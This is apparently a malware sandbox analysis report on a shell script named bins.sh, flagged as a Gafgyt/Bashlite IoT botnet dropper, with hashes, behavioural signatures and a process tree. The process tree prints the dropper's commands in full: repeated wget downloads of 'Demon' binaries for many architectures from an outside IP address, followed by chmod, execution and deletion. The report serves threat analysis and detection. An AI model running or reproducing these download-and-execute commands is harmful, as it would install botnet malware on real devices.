Overview

overview

10

Static

static

1

bins.sh

debian-12-armhf

7

bins.sh

debian-12-mipsel

7

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

bins.sh

ubuntu-18.04-amd64

10

bins.sh

ubuntu-20.04-amd64

10

bins.sh

ubuntu-22.04-amd64

10

bins.sh

ubuntu-24.04-amd64

10

Analysis

  • max time kernel
    23s
  • max time network
    26s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    19-10-2024 11:41

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    bins.sh

  • Size

    2KB

  • MD5

    a754f4cf9d6ba2d574cd90bf04d1bc35

  • SHA1

    b0191e89c26057b6132f3314fa685e1879c7dc62

  • SHA256

    bf9fa0c44e56d564d8675f89533c1930b9481597d1f0d09153757d595b8ddaa0

  • SHA512

    600b970d65a1b8d80e0c7e9808cff50fbb610762a97d619293b859383c85ff671a28793f49d8207c984ffe113c63dabfa66d3df4d922b32c79ce707b3393162f

Score
10/10
gafgytbotnetdefense_evasiondiscovery

Malware Config

Signatures

  • Detected Gafgyt variant 1 IoCs
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

    botnetgafgyt
  • File and Directory Permissions Modification 1 TTPs 14 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

    discovery
  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 13 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /usr/bin/wget
        wget http://38.123.149.216/Demon.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:710
      • /bin/chmod
        chmod +x Demon.mips
        2⤵
        • File and Directory Permissions Modification
        PID:730
      • /tmp/Demon.mips
        ./Demon.mips
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:731
      • /bin/rm
        rm -rf Demon.mips
        2⤵
        • System Network Configuration Discovery
        PID:735
      • /usr/bin/wget
        wget http://38.123.149.216/Demon.mpsl
        2⤵
        • Writes file to tmp directory
        PID:736
      • /bin/chmod
        chmod +x Demon.mpsl
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/Demon.mpsl
        ./Demon.mpsl
        2⤵
        • Reads system routing table
        • Changes its process name
        • Reads system network configuration
        PID:741
      • /bin/rm
        rm -rf Demon.mpsl
        2⤵
          PID:744
        • /usr/bin/wget
          wget http://38.123.149.216/Demon.sh4
          2⤵
          • Writes file to tmp directory
          PID:745
        • /bin/chmod
          chmod +x Demon.sh4
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/Demon.sh4
          ./Demon.sh4
          2⤵
            PID:747
          • /bin/rm
            rm -rf Demon.sh4
            2⤵
              PID:749
            • /usr/bin/wget
              wget http://38.123.149.216/Demon.x86
              2⤵
              • Writes file to tmp directory
              PID:750
            • /bin/chmod
              chmod +x Demon.x86
              2⤵
              • File and Directory Permissions Modification
              PID:751
            • /tmp/Demon.x86
              ./Demon.x86
              2⤵
                PID:752
              • /bin/rm
                rm -rf Demon.x86
                2⤵
                  PID:754
                • /usr/bin/wget
                  wget http://38.123.149.216/Demon.arm6
                  2⤵
                  • Writes file to tmp directory
                  PID:755
                • /bin/chmod
                  chmod +x Demon.arm6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:756
                • /tmp/Demon.arm6
                  ./Demon.arm6
                  2⤵
                    PID:757
                  • /bin/rm
                    rm -rf Demon.arm6
                    2⤵
                      PID:759
                    • /usr/bin/wget
                      wget http://38.123.149.216/Demon.i686
                      2⤵
                      • Writes file to tmp directory
                      PID:760
                    • /bin/chmod
                      chmod +x Demon.i686
                      2⤵
                      • File and Directory Permissions Modification
                      PID:761
                    • /tmp/Demon.i686
                      ./Demon.i686
                      2⤵
                        PID:762
                      • /bin/rm
                        rm -rf Demon.i686
                        2⤵
                          PID:764
                        • /usr/bin/wget
                          wget http://38.123.149.216/Demon.ppc
                          2⤵
                          • Writes file to tmp directory
                          PID:765
                        • /bin/chmod
                          chmod +x Demon.ppc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:766
                        • /tmp/Demon.ppc
                          ./Demon.ppc
                          2⤵
                            PID:767
                          • /bin/rm
                            rm -rf Demon.ppc
                            2⤵
                              PID:769
                            • /usr/bin/wget
                              wget http://38.123.149.216/Demon.i586
                              2⤵
                              • Writes file to tmp directory
                              PID:770
                            • /bin/chmod
                              chmod +x Demon.i586
                              2⤵
                              • File and Directory Permissions Modification
                              PID:778
                            • /tmp/Demon.i586
                              ./Demon.i586
                              2⤵
                                PID:780
                              • /bin/rm
                                rm -rf Demon.i586
                                2⤵
                                  PID:783
                                • /usr/bin/wget
                                  wget http://38.123.149.216/Demon.m68k
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:784
                                • /bin/chmod
                                  chmod +x Demon.m68k
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:792
                                • /tmp/Demon.m68k
                                  ./Demon.m68k
                                  2⤵
                                    PID:794
                                  • /bin/rm
                                    rm -rf Demon.m68k
                                    2⤵
                                      PID:797
                                    • /usr/bin/wget
                                      wget http://38.123.149.216/Demon.sparc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:798
                                    • /bin/chmod
                                      chmod +x Demon.sparc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:807
                                    • /tmp/Demon.sparc
                                      ./Demon.sparc
                                      2⤵
                                        PID:808
                                      • /bin/rm
                                        rm -rf Demon.sparc
                                        2⤵
                                          PID:812
                                        • /usr/bin/wget
                                          wget http://38.123.149.216/Demon.arm4
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:813
                                        • /bin/chmod
                                          chmod +x Demon.arm4
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:824
                                        • /tmp/Demon.arm4
                                          ./Demon.arm4
                                          2⤵
                                            PID:825
                                          • /bin/rm
                                            rm -rf Demon.arm4
                                            2⤵
                                              PID:829
                                            • /usr/bin/wget
                                              wget http://38.123.149.216/Demon.arm5
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:830
                                            • /bin/chmod
                                              chmod +x Demon.arm5
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:836
                                            • /tmp/Demon.arm5
                                              ./Demon.arm5
                                              2⤵
                                                PID:837
                                              • /bin/rm
                                                rm -rf Demon.arm5
                                                2⤵
                                                  PID:839
                                                • /usr/bin/wget
                                                  wget http://38.123.149.216/Demon.arm7
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:840
                                                • /bin/chmod
                                                  chmod +x Demon.arm7
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:841
                                                • /tmp/Demon.arm7
                                                  ./Demon.arm7
                                                  2⤵
                                                    PID:842
                                                  • /bin/rm
                                                    rm -rf Demon.arm7
                                                    2⤵
                                                      PID:844
                                                    • /usr/bin/wget
                                                      wget http://38.123.149.216/Demon.ppc440fp
                                                      2⤵
                                                        PID:845
                                                      • /bin/chmod
                                                        chmod +x Demon.ppc440fp
                                                        2⤵
                                                        • File and Directory Permissions Modification
                                                        PID:846
                                                      • /tmp/Demon.ppc440fp
                                                        ./Demon.ppc440fp
                                                        2⤵
                                                          PID:847
                                                        • /bin/rm
                                                          rm -rf Demon.ppc440fp
                                                          2⤵
                                                            PID:848

                                                        Network

                                                        MITRE ATT&CK Enterprise v15

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        • /tmp/Demon.mips
                                                          Filesize

                                                          211KB

                                                          MD5

                                                          455a2acf75de8da6ab7c4d9564cc69f9

                                                          SHA1

                                                          9e6016c6581289e685bcd6392bbf0bcf6b1182ff

                                                          SHA256

                                                          b08dea7aae12f248b7730af3c8f924dd67d3251d78df15a9dfb75e5d961df152

                                                          SHA512

                                                          a76b00d7f684d762ea9d5fa60d579d70b8bdfe75faedb59baae6ffb676d25d57826cde4a639c0b32dfcc3288a965591e148a489e6259910e3e0dbee90ccadeab

                                                          Download Submit